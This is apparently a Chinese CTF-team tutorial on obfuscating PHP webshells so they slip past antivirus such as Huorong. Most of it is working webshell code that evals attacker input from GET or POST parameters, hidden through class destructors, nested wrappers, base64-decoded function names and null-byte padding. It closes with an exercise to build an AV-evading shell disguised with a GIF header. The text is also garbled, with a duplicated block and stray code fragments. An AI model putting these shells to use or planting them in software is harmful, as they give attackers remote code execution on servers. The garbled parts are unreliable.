同时结合以上几种方式进行混淆,组合出适用于不同杀软的木马,如本地能过火绒:
<?php
class Test{
public $config='';
function __destruct(){
@eval($this->config);
}
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>
有意思的是它加上GIF文件的文件头以后就会被查杀:
GIF89a<?php
class Test{
public $config='';
function __destruct(){
@eval($this->config);
}
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>
r_dump(‘233’)"]);
// 1string(3) “ctf”
它同样不支持一些特定函数,需要包装后使用
3. 用函数多层打包:
```php
<?php
function my_eval($cmd){
@eval($cmd);
}
function out_eval($name, $cmd){
$name($cmd);
}
out_eval("my_eval", $_GET['cmd']);
-
结合类的魔术方法:
<?php class my_class{ public $cmd=''; function __destruct(){ // __call, __get @eval("$this->cmd"); } } $b=new my_class(); $b->cmd=$_POST['cmd']; ?>
-
编码与加密:
<?php // base64encode("eval") === "ZXZhbA==" $a = base64_decode("ZXZhbA=="); $a($_GET['cmd']);
也可以利用空字符混淆执行的语句(空字符会让eval发出警告,但能正常执行命令):
<?php // @eval("\x00".$_GET['cmd']."\x00");
同时结合以上几种方式进行混淆,组合出适用于不同杀软的木马,如本地能过火绒:
<?php
class Test{
public $config='';
function __destruct(){
@eval($this->config);
}
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>
有意思的是它加上GIF文件的文件头以后就会被查杀:
GIF89a<?php
class Test{
public $config='';
function __destruct(){
@eval($this->config);
}
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>
在自己电脑上尝试编写能通过电脑上的杀软检测,且带GIF文件头的免杀马。
Copyright © 2024-2025 DHU-r00t f3stu. All Rights Reserved.
仅用于学习交流,请遵守网络安全相关法律,文章造成的一切后果均与本文作者无关。